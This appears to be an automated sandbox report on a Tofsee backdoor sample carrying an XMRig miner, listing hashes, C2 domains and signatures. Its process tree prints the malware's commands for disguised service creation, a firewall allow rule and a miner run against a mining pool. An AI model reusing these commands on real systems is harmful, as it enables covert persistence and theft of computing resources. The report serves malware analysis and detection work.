Analysis

  • max time kernel
    147s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19/12/2022, 20:17

General

  • Target

    b8d90670d18dbc76ccc47ea4cb653bcdddc5327a618fe1631d8029d4ec608524.exe

  • Size

    305KB

  • MD5

    d3e241d66ff99736fbd1219567fb19a1

  • SHA1

    35d0296b3031e832b00e2ee956cc4f457838fda1

  • SHA256

    b8d90670d18dbc76ccc47ea4cb653bcdddc5327a618fe1631d8029d4ec608524

  • SHA512

    7b81e9f6c24de75c66553ff1a0a2d1cea026c6c6eba2b34216b5d95919820769a2816c1bd4e3f6a8cc9cfb5b5036f4a2f19ee62aaed46093746f6d535883fa2f

  • SSDEEP

    6144:pL03JA2UEhhD4jnnx0R/dR63QZImQKG0:pEJAisn6oQZW

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\b8d90670d18dbc76ccc47ea4cb653bcdddc5327a618fe1631d8029d4ec608524.exe
    "C:\Users\Admin\AppData\Local\Temp\b8d90670d18dbc76ccc47ea4cb653bcdddc5327a618fe1631d8029d4ec608524.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2356
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\hrqieswb\
      2⤵
        PID:3088
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\zclwwssp.exe" C:\Windows\SysWOW64\hrqieswb\
        2⤵
          PID:1112
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create hrqieswb binPath= "C:\Windows\SysWOW64\hrqieswb\zclwwssp.exe /d\"C:\Users\Admin\AppData\Local\Temp\b8d90670d18dbc76ccc47ea4cb653bcdddc5327a618fe1631d8029d4ec608524.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:512
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description hrqieswb "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4964
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start hrqieswb
          2⤵
          • Launches sc.exe
          PID:4936
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:3640
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2356 -s 1036
          2⤵
          • Program crash
          PID:4316
      • C:\Windows\SysWOW64\hrqieswb\zclwwssp.exe
        C:\Windows\SysWOW64\hrqieswb\zclwwssp.exe /d"C:\Users\Admin\AppData\Local\Temp\b8d90670d18dbc76ccc47ea4cb653bcdddc5327a618fe1631d8029d4ec608524.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2196
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4012
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:5060
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2196 -s 524
          2⤵
          • Program crash
          PID:348
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 2356 -ip 2356
        1⤵
          PID:3728
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 2196 -ip 2196
          1⤵
            PID:2664

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\zclwwssp.exe

            Filesize

            14.4MB

            MD5

            1406100f7ffe4e989d05f7067f7d370a

            SHA1

            bdfd4d85a8decb82a6dfc272e7c47ca578b11238

            SHA256

            d60e0c7e9164e738170ce9b63212b7a4ac8e403933e4c0d93e9f94ddbe086038

            SHA512

            fb43ebba3f0a4fb55901f49240cf0ffc9fb5568244ee0265e9ad45431b407466087f4afc527a6eb7fcf9503a72e2d641d690e071718aa0dbf0ff550d1917e4e5

          • C:\Windows\SysWOW64\hrqieswb\zclwwssp.exe

            Filesize

            14.4MB

            MD5

            1406100f7ffe4e989d05f7067f7d370a

            SHA1

            bdfd4d85a8decb82a6dfc272e7c47ca578b11238

            SHA256

            d60e0c7e9164e738170ce9b63212b7a4ac8e403933e4c0d93e9f94ddbe086038

            SHA512

            fb43ebba3f0a4fb55901f49240cf0ffc9fb5568244ee0265e9ad45431b407466087f4afc527a6eb7fcf9503a72e2d641d690e071718aa0dbf0ff550d1917e4e5

          • memory/2196-150-0x0000000000400000-0x0000000000452000-memory.dmp

            Filesize

            328KB

          • memory/2196-148-0x0000000000494000-0x00000000004AA000-memory.dmp

            Filesize

            88KB

          • memory/2356-134-0x0000000000400000-0x0000000000452000-memory.dmp

            Filesize

            328KB

          • memory/2356-132-0x0000000000619000-0x000000000062E000-memory.dmp

            Filesize

            84KB

          • memory/2356-133-0x00000000021A0000-0x00000000021B3000-memory.dmp

            Filesize

            76KB

          • memory/2356-143-0x0000000000619000-0x000000000062E000-memory.dmp

            Filesize

            84KB

          • memory/2356-144-0x0000000000400000-0x0000000000452000-memory.dmp

            Filesize

            328KB

          • memory/4012-159-0x0000000002160000-0x0000000002170000-memory.dmp

            Filesize

            64KB

          • memory/4012-156-0x0000000002150000-0x0000000002156000-memory.dmp

            Filesize

            24KB

          • memory/4012-168-0x0000000002DD0000-0x0000000002DD7000-memory.dmp

            Filesize

            28KB

          • memory/4012-151-0x0000000000CE0000-0x0000000000CF5000-memory.dmp

            Filesize

            84KB

          • memory/4012-152-0x0000000000CE0000-0x0000000000CF5000-memory.dmp

            Filesize

            84KB

          • memory/4012-153-0x0000000002A00000-0x0000000002C0F000-memory.dmp

            Filesize

            2.1MB

          • memory/4012-146-0x0000000000CE0000-0x0000000000CF5000-memory.dmp

            Filesize

            84KB

          • memory/4012-165-0x0000000007880000-0x0000000007C8B000-memory.dmp

            Filesize

            4.0MB

          • memory/4012-162-0x00000000021F0000-0x00000000021F5000-memory.dmp

            Filesize

            20KB

          • memory/5060-172-0x0000000000E00000-0x0000000000EF1000-memory.dmp

            Filesize

            964KB

          • memory/5060-177-0x0000000000E00000-0x0000000000EF1000-memory.dmp

            Filesize

            964KB